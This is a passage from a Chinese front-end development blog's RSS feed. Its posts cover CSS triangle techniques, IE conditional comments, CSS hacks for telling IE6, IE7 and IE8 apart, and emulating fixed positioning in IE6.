.c_same{right:-25px; bottom:21px;}
.d_same{left:21px; bottom:-25px;}
-->
</style>
<p>3)通过◆字符实现.实现方法与上面的类似,将字符的颜色设置为和希望表现得容器相同的颜色,从而得到一个视觉上的三角形.只是这次我们没有用到CSS3的transform属性，兼容性更好一些。</p>
<div class="wrap_char"><span class="a_char">◆</span><span class="b_char">◆</span><span class="c_char">◆</span><span class="d_char">◆</span></div>
<style>
<!--
.wrap_char{width:150px; height:150px; text-align:center; margin:50px; background:#ccc; position:relative;}
.a_char,.b_char,.c_char,.d_char{font-size:50px; text-align:center; color:#ccc; position:absolute; z-index:10;line-height:0;line-height:50px;}
.a_char{left:-4px;bottom:-25px;}
.b_char{left:-25px; top:-4px;}
.c_char{top:-25px;right:-4px;}
.d_char{right:-25px; bottom:-5px;}
-->
</style>
<p>代码如下：<br />
<pre class="brush: plain; title: ;">&lt;br /&gt;
&lt;!DOCTYPE html&gt;&lt;br /&gt;
&lt;html&gt;&lt;br /&gt;
&lt;head&gt;&lt;br /&gt;
    &lt;meta charset=&quot;UTF-8&quot; /&gt;&lt;br /&gt;
    &lt;meta name=&quot;author&quot; content=&quot;rage&quot; /&gt;&lt;br /&gt;
     &lt;/p&gt;
&lt;style&gt; 
    &lt;!--
    .wrap_char{width:150px; height:150px; text-align:center; margin:100px; background:#ccc; position:relative;} 
    .a_char,.b_char,.c_char,.d_char{font-size:50px; text-align:center; color:#ccc; position:absolute; z-index:10;line-height:0;line-height:50px;}
    .a_char{left:-4px;bottom:-25px;} 
    .b_char{left:-25px; top:-4px;} 
    .c_char{top:-25px;right:-4px;} 
    .d_char{right:-25px; bottom:-5px;} 
    &lt;/style&gt;
&lt;p&gt;&lt;/head&gt;&lt;br /&gt;
&lt;body&gt; &lt;/p&gt;
&lt;div class=&quot;wrap_char&quot;&gt;
        &lt;span class=&quot;a_char&quot;&gt;◆&lt;/span&gt;&lt;br /&gt;
        &lt;span class=&quot;b_char&quot;&gt;◆&lt;/span&gt;&lt;br /&gt;
        &lt;span class=&quot;c_char&quot;&gt;◆&lt;/span&gt;&lt;br /&gt;
        &lt;span class=&quot;d_char&quot;&gt;◆&lt;/span&gt;
    &lt;/div&gt;
&lt;p&gt;&lt;/body&gt;&lt;br /&gt;
&lt;/html&gt;&lt;br /&gt;
</pre></p>
<p>案例研究：<br />
1）线形的三角形，如下图：<br />
<img src="http://varhi.com/wp-content/uploads/2011/01/cover_arrow.gif" alt="" title="cover_arrow" width="22" height="28" class="alignnone size-full wp-image-4567" /><br />
这种图形的实现我们经常依赖于图形实现，其实我们可以通过border属性，将两个三角型的叠加就可以获得相应的效果：</p>
<div class="pos_rel">
    <span class="icon1"><span class="icon2"></span></span>
</div>
<style type="text/css">
<!--
.pos_rel{position:relative;height:10px;margin:20px;}
.pos_rel .icon1{display:block;border-width:9px 9px 9px 0;border-color:transparent #1c7ecf transparent transparent; border-style:solid;position:absolute;left:0;top:0;width:0;height:0;}
.pos_rel .icon2{display:block;border-width:9px 9px 9px 0;border-color:transparent #fff transparent transparent; border-style:solid;position:absolute;left:4px;top:-9px;width:0;height:0;}
-->
</style>
<p><pre class="brush: plain; title: ;">&lt;br /&gt;
&lt;!DOCTYPE html&gt;&lt;br /&gt;
&lt;html&gt;&lt;br /&gt;
&lt;head&gt;&lt;br /&gt;
    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;&lt;br /&gt;
     &lt;/p&gt;
&lt;style type=&quot;text/css&quot;&gt; 
    &lt;!-- 
    .pos_rel{position:relative;_line-height:0;} .pos_rel .icon1{display:block;border-width:9px 9px 9px 0;border-color:transparent #1c7ecf transparent transparent; border-style:solid;position:absolute;left:0;top:0;width:0;height:0;} .pos_rel .icon2{display:block;border-width:9px 9px 9px 0;border-color:transparent #fff transparent transparent; border-style:solid;position:absolute;left:4px;top:-9px;width:0;height:0;} --&gt; &lt;/style&gt;
&lt;p&gt;&lt;/head&gt;&lt;br /&gt;
&lt;body&gt; &lt;/p&gt;
&lt;div class=&quot;pos_rel&quot;&gt; &lt;span class=&quot;icon1&quot;&gt;&lt;span class=&quot;icon2&quot;&gt;&lt;/span&gt;&lt;/span&gt; &lt;/div&gt;
&lt;p&gt;&lt;/body&gt;&lt;br /&gt;
&lt;/html&gt;&lt;br /&gt;
</pre><br />
这样我们就能获得更漂亮的回复窗口：<br />
<img src="http://varhi.com/wp-content/uploads/2011/01/reply_box.gif" alt="" title="reply_box"  class="alignnone size-full wp-image-4573" /><br />
2）导航状态<br />
<img src="http://varhi.com/wp-content/uploads/2011/01/tabs.gif" alt="" title="tabs" width="368" height="39" class="alignnone size-full wp-image-4579" /><br />
我们也可以通过border创造的三角形来实现：</p>
<div id="nav_state"><a href="#" charset="current">标签一<span></span></a><a href="#">标签二<span></span></a><a href="#">标签三<span></span></a><a href="#">标签四<span></span></a></div>
<style type="text/css">
	#nav_state{height:20px;}
	#nav_state a{width:80px;display:block;text-align:center;padding:2px;line-height:18px;;float:left;background-color:#ccc;margin-right:5px;color:#333;position:relative;text-decoration:none;font-size:12px;}
	#nav_state a span{display:none;}
	#nav_state a.current,#nav_state a:hover{background-color:#000;color:#fff;}
	#nav_state a.current span,#nav_state a:hover span{display:block;width:0;height:0;border-width:8px;border-style:solid;border-color:#000 transparent transparent;position:absolute;top:20px;left:32px;overflow:hidden; }
</style>
<p>HTML代码：<br />
<pre class="brush: plain; title: ;">&lt;br /&gt;
&lt;!DOCTYPE html&gt;&lt;br /&gt;
&lt;html&gt;&lt;br /&gt;
&lt;head&gt;&lt;br /&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;&lt;br /&gt;
 &lt;/p&gt;
&lt;style type=&quot;text/css&quot;&gt; 
	#nav_state{height:20px;} 
	#nav_state a{width:80px;display:block;text-align:center;padding:2px;line-height:18px;;float:left;background-color:#ccc;margin-right:5px;color:#333;position:relative;text-decoration:none;font-size:12px;} 
	#nav_state a span{display:none;} 
	#nav_state a.current,#nav_state a:hover{background-color:#000;color:#fff;} 
	#nav_state a.current span,#nav_state a:hover span{display:block;width:0;height:0;border-width:8px;border-style:solid;border-color:#000 transparent transparent;position:absolute;top:20px;left:32px;overflow:hidden; } 
&lt;/style&gt;
&lt;p&gt; &lt;/head&gt;&lt;br /&gt;
 &lt;body&gt; &lt;/p&gt;
&lt;div id=&quot;nav_state&quot;&gt;
 	&lt;a href=&quot;#&quot; charset=&quot;current&quot;&gt;标签一&lt;span&gt;&lt;/span&gt;&lt;/a&gt; &lt;a href=&quot;#&quot;&gt;标签二&lt;span&gt;&lt;/span&gt;&lt;/a&gt; &lt;a href=&quot;#&quot;&gt;标签三&lt;span&gt;&lt;/span&gt;&lt;/a&gt; &lt;a href=&quot;#&quot;&gt;标签四&lt;span&gt;&lt;/span&gt;&lt;/a&gt;
  &lt;/div&gt;
&lt;p&gt;&lt;/body&gt;&lt;br /&gt;
&lt;/html&gt;&lt;br /&gt;
</pre><br />
上面我们实现的是固定宽度，那如果是自适应宽度的、箭头朝上的呢？<br />
<img src="http://varhi.com/wp-content/uploads/2011/01/tabs_top.gif" alt="" title="tabs_top" width="350" height="43" class="alignnone size-full wp-image-4582" /></p>
<ul id="menu_liquid">
<li><a href="#"><span></span><em>首页</em></a></li>
<li><a href="#"><span></span><em>二级栏目</em></a></li>
<li><a href="#"><span></span><em>三级栏目可能会比较长</em></a></li>
<li><a href="#"><span></span><em>四级栏目</em><span></span></a></li>
</ul>
<style type="text/css">
	#menu_liquid{height:30px;margin:20px; list-style:none;font-size:12px;}
	#menu_liquid li{height:30px;line-height:30px;float:left;white-space:nowrap;margin:0;padding:0}
	#menu_liquid li a{display:block;float:left;height:30px;position:relative;padding:0 12px;background:#777;color:#fff; text-decoration:none;border-right:1px solid #ccc;}
	#menu_liquid li a span{display:none;}
	#menu_liquid li a.current,#menu_liquid li a:hover{ background:#000;color:#0099FF;}
	#menu_liquid li a.current span,#menu_liquid li a:hover span{display:block;width:0;height:0;border-style:solid;border-color: transparent transparent #f0f0f0 transparent;border-width:0 8px 8px;position:absolute;bottom:0;left:50%;margin-left:-4px;overflow:hidden;z-index:0;}
	#menu_liquid li a em{display:block;text-align:center;font-style:normal;cursor:pointer;}
</style>
<p><pre class="brush: plain; title: ;">&lt;br /&gt;
&lt;!DOCTYPE html&gt;&lt;br /&gt;
&lt;html&gt;&lt;br /&gt;
&lt;head&gt;&lt;br /&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;&lt;br /&gt;
 &lt;/p&gt;
&lt;style type=&quot;text/css&quot;&gt; 
#menu_liquid{height:30px;margin:20px; list-style:none;font-size:12px;} #menu_liquid li{height:30px;line-height:30px;float:left;white-space:nowrap;} #menu_liquid li a{display:block;float:left;height:30px;position:relative;padding:0 12px;background:#777;color:#fff; text-decoration:none;border-right:1px solid #ccc;} #menu_liquid li a span{display:none;} #menu_liquid li a.current,#menu_liquid li a:hover{ background:#000;color:#0099FF;} #menu_liquid li a.current span,#menu_liquid li a:hover span{display:block;width:0;height:0;border-style:solid;border-color: transparent transparent #f0f0f0 transparent;border-width:0 8px 8px;position:absolute;bottom:0;left:50%;margin-left:-4px;overflow:hidden;z-index:0;} #menu_liquid li a em{display:block;text-align:center;font-style:normal;cursor:pointer;} 
&lt;/style&gt;
&lt;p&gt;&lt;/head&gt;&lt;br /&gt;
&lt;body&gt; &lt;/p&gt;
&lt;ul id=&quot;menu_liquid&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;首页&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;二级栏目&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;三级栏目可能会比较长&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;四级栏目&lt;/em&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/body&gt;&lt;br /&gt;
&lt;/html&gt;&lt;br /&gt;
</pre><br />
这里我们要注意的是什么呢？那就是箭头是绝对定位的，小心箭头过大的时候，将上面的文字覆盖掉了。</p>
<p>上面的只是一些方法的总结，可能并不是最优的方法，最优的实现方法可能还需要具体问题具体分析，就当在此抛砖引玉了。<br />
同时欢迎大家提出相左的看法。</p>
]]></content:encoded>
			<wfw:commentRss>http://longoes.com/blog/%e5%85%b3%e4%ba%8e%e4%b8%89%e8%a7%92%e5%bd%a2%e7%9a%84%e5%88%b6%e4%bd%9c%e6%96%b9%e6%b3%95.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>在HTML代码里面如何判断IE版本</title>
		<link>http://longoes.com/blog/%e5%89%8d%e7%ab%af/%e5%9c%a8html%e4%bb%a3%e7%a0%81%e9%87%8c%e9%9d%a2%e5%a6%82%e4%bd%95%e5%88%a4%e6%96%adie%e7%89%88%e6%9c%ac.html</link>
		<comments>http://longoes.com/blog/%e5%89%8d%e7%ab%af/%e5%9c%a8html%e4%bb%a3%e7%a0%81%e9%87%8c%e9%9d%a2%e5%a6%82%e4%bd%95%e5%88%a4%e6%96%adie%e7%89%88%e6%9c%ac.html#comments</comments>
		<pubDate>Thu, 21 Oct 2010 09:14:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[前端]]></category>

		<guid isPermaLink="false">http://longoes.com/?p=482</guid>
		<description><![CDATA[如何让静态HTML代码根据不同IE版本显示不同内容。 这里的技巧就是利用IE的HTML注释表达式。 HTML 的注释格式是 ， IE 对HTML注释做了一些扩展，使之可以支持条件判断表达式： 当表达式expression 为True 的时候，显示 HTML 内容。 例子： view plaincopy to clipboardprint? 和编程语言类似，这里的表达式还支持大于(gt)、小于(lt)、 与或非 等操作符。 下面是一些例子。 [if IE] 判断是否IE [if IE 7] 判断是否是IE7 [if !IE] 判断是否不是IE [if lt IE 5.5] 判断是否是IE5.5 以下版本。 ( You are not using Internet Explorer. You are not using Internet Explorer. 注：IE5 以下的版本不支持这种注释扩展。 不过现在也很难找到IE4了 ... :)]]></description>
			<content:encoded><![CDATA[如何让静态HTML代码根据不同IE版本显示不同内容。 这里的技巧就是利用IE的HTML注释表达式。

HTML 的注释格式是 <!-- Comment content  --> ， IE 对HTML注释做了一些扩展，使之可以支持条件判断表达式：

<!--[if expression]> HTML <![endif]-->   当表达式expression 为True 的时候，显示 HTML 内容。

例子：

view plaincopy to clipboardprint?
<!--[if IE 5]> 
<p>Welcome to Internet Explorer 5.</p> 
<![endif]--> 
<!--[if IE 5]>
<p>Welcome to Internet Explorer 5.</p>
<![endif]-->

和编程语言类似，这里的表达式还支持大于(gt)、小于(lt)、 与或非 等操作符。 下面是一些例子。

[if IE]   判断是否IE

[if IE 7]  判断是否是IE7

[if !IE]  判断是否不是IE

[if lt IE 5.5]  判断是否是IE5.5 以下版本。  (<)

[if lte IE 6]   判断是否等于IE6 版本或者以下 (<=)

[if gt IE 5]  判断是否IE5以上版本  （> ）

[if gte IE 7]  判断是否 IE7 版本或者以上

[if !(IE 7)] 判断是否不是IE7

[if (gt IE 5)&(lt IE 7)]   判断是否大于IE5， 小于IE7

[if (IE 6)|(IE 7)]  判断是否IE6 或者 IE7

代码示例：

view plaincopy to clipboardprint?
<!--[if IE]><p>You are using Internet Explorer.</p><![endif]--> 
<![if !IE]><p>You are not using Internet Explorer.</p><![endif]> 
 
<!--[if IE 7]><p>Welcome to Internet Explorer 7!</p><![endif]--> 
<!--[if !(IE 7)]><p>You are not using version 7.</p><![endif]--> 
 
<!--[if gte IE 7]><p>You are using IE 7 or greater.</p><![endif]--> 
<!--[if (IE 5)]><p>You are using IE 5 (any version).</p><![endif]--> 
<!--[if (gte IE 5.5)&(lt IE 7)]><p>You are using IE 5.5 or IE 6.</p><![endif]--> 
<!--[if lt IE 5.5]><p>Please upgrade your version of Internet Explorer.</p><![endif]--> 
<!--[if IE]><p>You are using Internet Explorer.</p><![endif]-->
<![if !IE]><p>You are not using Internet Explorer.</p><![endif]>

<!--[if IE 7]><p>Welcome to Internet Explorer 7!</p><![endif]-->
<!--[if !(IE 7)]><p>You are not using version 7.</p><![endif]-->

<!--[if gte IE 7]><p>You are using IE 7 or greater.</p><![endif]-->
<!--[if (IE 5)]><p>You are using IE 5 (any version).</p><![endif]-->
<!--[if (gte IE 5.5)&(lt IE 7)]><p>You are using IE 5.5 or IE 6.</p><![endif]-->
<!--[if lt IE 5.5]><p>Please upgrade your version of Internet Explorer.</p><![endif]-->
 

 注：IE5 以下的版本不支持这种注释扩展。 不过现在也很难找到IE4了 ... :)
]]></content:encoded>
			<wfw:commentRss>http://longoes.com/blog/%e5%89%8d%e7%ab%af/%e5%9c%a8html%e4%bb%a3%e7%a0%81%e9%87%8c%e9%9d%a2%e5%a6%82%e4%bd%95%e5%88%a4%e6%96%adie%e7%89%88%e6%9c%ac.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>区分IE8/IE7/IE6及其他浏览器-CSS “\9″hack</title>
		<link>http://longoes.com/blog/%e5%89%8d%e7%ab%af/%e5%8c%ba%e5%88%86ie8ie7ie6%e5%8f%8a%e5%85%b6%e4%bb%96%e6%b5%8f%e8%a7%88%e5%99%a8-css-%e2%80%9c9%e2%80%b3hack.html</link>
		<comments>http://longoes.com/blog/%e5%89%8d%e7%ab%af/%e5%8c%ba%e5%88%86ie8ie7ie6%e5%8f%8a%e5%85%b6%e4%bb%96%e6%b5%8f%e8%a7%88%e5%99%a8-css-%e2%80%9c9%e2%80%b3hack.html#comments</comments>
		<pubDate>Wed, 20 Oct 2010 11:41:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[前端]]></category>

		<guid isPermaLink="false">http://longoes.com/?p=478</guid>
		<description><![CDATA[一、前面的唠叨 CSS hack这个东东可以说是老掉牙的东西，我是不会再放到锅里炒的。之所以写这篇文章，更主要的是介绍一个CSS hack – “\9″ hack，总之，在我的印象中，这个hack不常用，是适用范围问题，还是确实大家不了解我就不知道了。我最早见到此hack是在新浪博客的CSS文件中，而且这个”\9″ hack可以说犹如泛滥，水漫金山寺般的使用，见下面的截图（chrome查找结果截图）： 当时并不知道此hack的作用对象，今天偶然又看到此属性，于是简单研究之，发现这是个针对IE浏览器的hack，于是决定写下这篇笔记式的文章，算是一个简单知识点的累积。 二、IE8以及以下版本浏览器 对于IE8及其以下版本的浏览器，就是使用本文标题所提到的”\9″ hack。如下代码： .ie6_7_8{ color:blue; /*所有浏览器*/ color:red\9; /*IE8以及以下版本浏览器*/ } 说明：使用如上所示，在分号之前属性时候添加”\9″就可以了，为什么添加”\9″可以区分目前的IE浏览器和其他浏览器我是不知道的，这里只能使用”\9″，像是”\8″或是”\ie”都是无效的，这个还是比较有趣的。 三、IE7以及以下版本浏览器 这个知道的人应该很多，也是很基本的，就是使用”*”号了，如下示例代码： .ie6_7_8{ color:blue; /*所有浏览器*/ color:red\9; /*IE8以及以下版本浏览器*/ *color:green; /*IE7及其以下版本浏览器*/ } 四、IE6浏览器 就本文而言，使用下划线”_”区分IE6浏览器是最好的选择，如下代码： .ie6_7_8{ color:blue; /*所有浏览器*/ color:red\9; /*IE8以及以下版本浏览器*/ *color:green; /*IE7及其以下版本浏览器*/ _color:purple; /*IE6浏览器*/ } 其他的就不赘述了，您可以狠狠地点击这里：区分IE8/IE7/IE6及其他浏览器demo 此demo在各个浏览器下的表现如下图所示： 五、最后的唠叨 在页面中大量使用hack技术的都是CSS技术泛泛之辈，如果您写一个上千行（横排格式）的CSS文件里面没有一个hack，ok，你技术已经不错了。以我的经验，很少很少的情况是不得已使用hack才能解决的。追求页面样式无hack也是提高CSS技能不错方法之一。]]></description>
			<content:encoded><![CDATA[<p>一、前面的唠叨<br />
CSS hack这个东东可以说是老掉牙的东西，我是不会再放到锅里炒的。之所以写这篇文章，更主要的是介绍一个CSS hack – “\9″ hack，总之，在我的印象中，这个hack不常用，是适用范围问题，还是确实大家不了解我就不知道了。我最早见到此hack是在新浪博客的CSS文件中，而且这个”\9″ hack可以说犹如泛滥，水漫金山寺般的使用，见下面的截图（chrome查找结果截图）：</p>
<p>当时并不知道此hack的作用对象，今天偶然又看到此属性，于是简单研究之，发现这是个针对IE浏览器的hack，于是决定写下这篇笔记式的文章，算是一个简单知识点的累积。</p>
<p>二、IE8以及以下版本浏览器<br />
对于IE8及其以下版本的浏览器，就是使用本文标题所提到的”\9″ hack。如下代码：</p>
<p>.ie6_7_8{<br />
    color:blue; /*所有浏览器*/<br />
    color:red\9; /*IE8以及以下版本浏览器*/<br />
}<br />
说明：使用如上所示，在分号之前属性时候添加”\9″就可以了，为什么添加”\9″可以区分目前的IE浏览器和其他浏览器我是不知道的，这里只能使用”\9″，像是”\8″或是”\ie”都是无效的，这个还是比较有趣的。</p>
<p>三、IE7以及以下版本浏览器<br />
这个知道的人应该很多，也是很基本的，就是使用”*”号了，如下示例代码：</p>
<p>.ie6_7_8{<br />
    color:blue; /*所有浏览器*/<br />
    color:red\9; /*IE8以及以下版本浏览器*/<br />
    *color:green; /*IE7及其以下版本浏览器*/<br />
}</p>
<p>四、IE6浏览器<br />
就本文而言，使用下划线”_”区分IE6浏览器是最好的选择，如下代码：</p>
<p>.ie6_7_8{<br />
    color:blue; /*所有浏览器*/<br />
    color:red\9; /*IE8以及以下版本浏览器*/<br />
    *color:green; /*IE7及其以下版本浏览器*/<br />
    _color:purple; /*IE6浏览器*/<br />
}<br />
其他的就不赘述了，您可以狠狠地点击这里：区分IE8/IE7/IE6及其他浏览器demo</p>
<p>此demo在各个浏览器下的表现如下图所示：</p>
<p>五、最后的唠叨<br />
在页面中大量使用hack技术的都是CSS技术泛泛之辈，如果您写一个上千行（横排格式）的CSS文件里面没有一个hack，ok，你技术已经不错了。以我的经验，很少很少的情况是不得已使用hack才能解决的。追求页面样式无hack也是提高CSS技能不错方法之一。</p>
]]></content:encoded>
			<wfw:commentRss>http://longoes.com/blog/%e5%89%8d%e7%ab%af/%e5%8c%ba%e5%88%86ie8ie7ie6%e5%8f%8a%e5%85%b6%e4%bb%96%e6%b5%8f%e8%a7%88%e5%99%a8-css-%e2%80%9c9%e2%80%b3hack.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IE6 下 fixed完美解决方案</title>
		<link>http://longoes.com/blog/design/ie6-%e4%b8%8b-fixed%e5%ae%8c%e7%be%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88.html</link>
		<comments>http://longoes.com/blog/design/ie6-%e4%b8%8b-fixed%e5%ae%8c%e7%be%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88.html#comments</comments>
		<pubDate>Mon, 27 Sep 2010 07:05:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>

		<guid isPermaLink="false">http://longoes.com/?p=473</guid>
		<description><![CDATA[第一种方法：纯CSS 目前网上有的比较多的是这种解决方案（纯CSS）： &#160;&#160;&#160;&#160;&#160;&#160; html{overflow:hidden;} &#160;&#160;&#160;&#160;&#160;&#160; body{height:100%;overflow:auto;} &#160;&#160;&#160;&#160;&#160;&#160; #rightform form{position:absolute;right:30px;top50px;} 　　这个方法有一个bug未解决：在IE6下会把所有position:absolute都变成“浮动”的元素；还有使用js方法滚动滚动条时会出现对象闪烁，如下方法结合了CSS和js的办法，解决了以上的问题。 &#60;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&#62; &#60;html xmlns="http://www.w3.org/1999/xhtml"&#62; &#60;head&#62; &#60;meta http-equiv="Content-Type" content="text/html; charset=gb2312" /&#62; &#60;title&#62;IE6 fixed&#60;/title&#62; &#60;style type="text/css"&#62; * { margin: 0px; padding: 0px; } body { _background-image: url(about:blank);&#160;&#160;&#160;&#160; /*用浏览器空白页面作为背景*/ _background-attachment: fixed;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; /* prevent screen flash in IE6 确保滚动条滚动时，元素不闪动*/ } #topNav { width: [...]]]></description>
			<content:encoded><![CDATA[<div id="blog_text" class="cnt"><p>第一种方法：纯CSS</p>
<p>目前网上有的比较多的是这种解决方案（纯CSS）：<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <strong>html{overflow:hidden;} <br>
</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <strong>body{height:100%;overflow:auto;}<br>
</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <strong>#rightform form{position:absolute;right:30px;top50px;}<br>
</strong>　　这个方法有一个bug未解决：在IE6下会把所有position:absolute都变成“浮动”的元素；还有使用js方法滚动滚动条时会出现对象闪烁，如下方法结合了CSS和js的办法，解决了以上的问题。<br>
<br>
&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>"&gt;<br>
&lt;html xmlns="<a href="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a>"&gt;<br>
&lt;head&gt;<br>
&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312" /&gt;<br>
&lt;title&gt;IE6 fixed&lt;/title&gt;<br>
&lt;style type="text/css"&gt;<br>
*<br>
{<br>
margin: 0px;<br>
padding: 0px;<br>
}<br>
body {<br>
<strong>_background-image: url(about:blank);&nbsp;&nbsp;&nbsp;&nbsp;  </strong>/*用浏览器空白页面作为背景*/<br>
<strong>_background-attachment: fixed;</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /* prevent screen flash in IE6 确保滚动条滚动时，元素不闪动*/<br>
}<br>
<br>
#topNav {<br>
width: 980px;<br>
z-index: 100;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /*设置浮动层次*/<br>
overflow: visible;<br>
position: fixed;<br>
top: 50px;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /* 其他浏览器下定位，在这里可设置坐标*/<br>
<strong>_position: absolute;</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /*IE6 用absolute模拟fixed*/<br>
<strong>_top: expression(documentElement.scrollTop + 50 + "px");</strong> /*IE6 动态设置top位置*/<br>
/* documentElement.scrollTop 设置浮动元素始终在浏览器最顶，可以加一个数值达到排版效果 */<br>
background-color:#0000FF;<br>
height: 31px;<br>
}<br>
.show{<br>
position:absolute;<br>
top:500px;<br>
left:400px;<br>
border:#ff0000 1px solid;<br>
}<br>
&lt;/style&gt;<br>
&lt;/head&gt;<br>
&lt;body&gt;<br>
&lt;div class="jd_menu" id="topNav"&gt;1111&lt;/div&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;<br>
&lt;div class="show"&gt;show&lt;/div&gt;<br>
&lt;/body&gt;<br>
&lt;/html&gt;</p>
<p>　　只实现了垂直方向的fixed。若要实现水平方向的fixed，设置_left:expression(documentElement.scrollLeft + "px");</p>
<p>　　利用给&lt;body&gt;设置固定的背景，防止滚动条滚动时的闪动；如果&lt;body&gt;中要设置滚动的背景而产生冲突，可以把代码写在html选择器里面，如：<br>
&nbsp;&nbsp;  html {<br>
&nbsp;&nbsp;&nbsp;&nbsp;  &nbsp;&nbsp;&nbsp;  <strong>_background-image: url(about:blank);</strong><br>
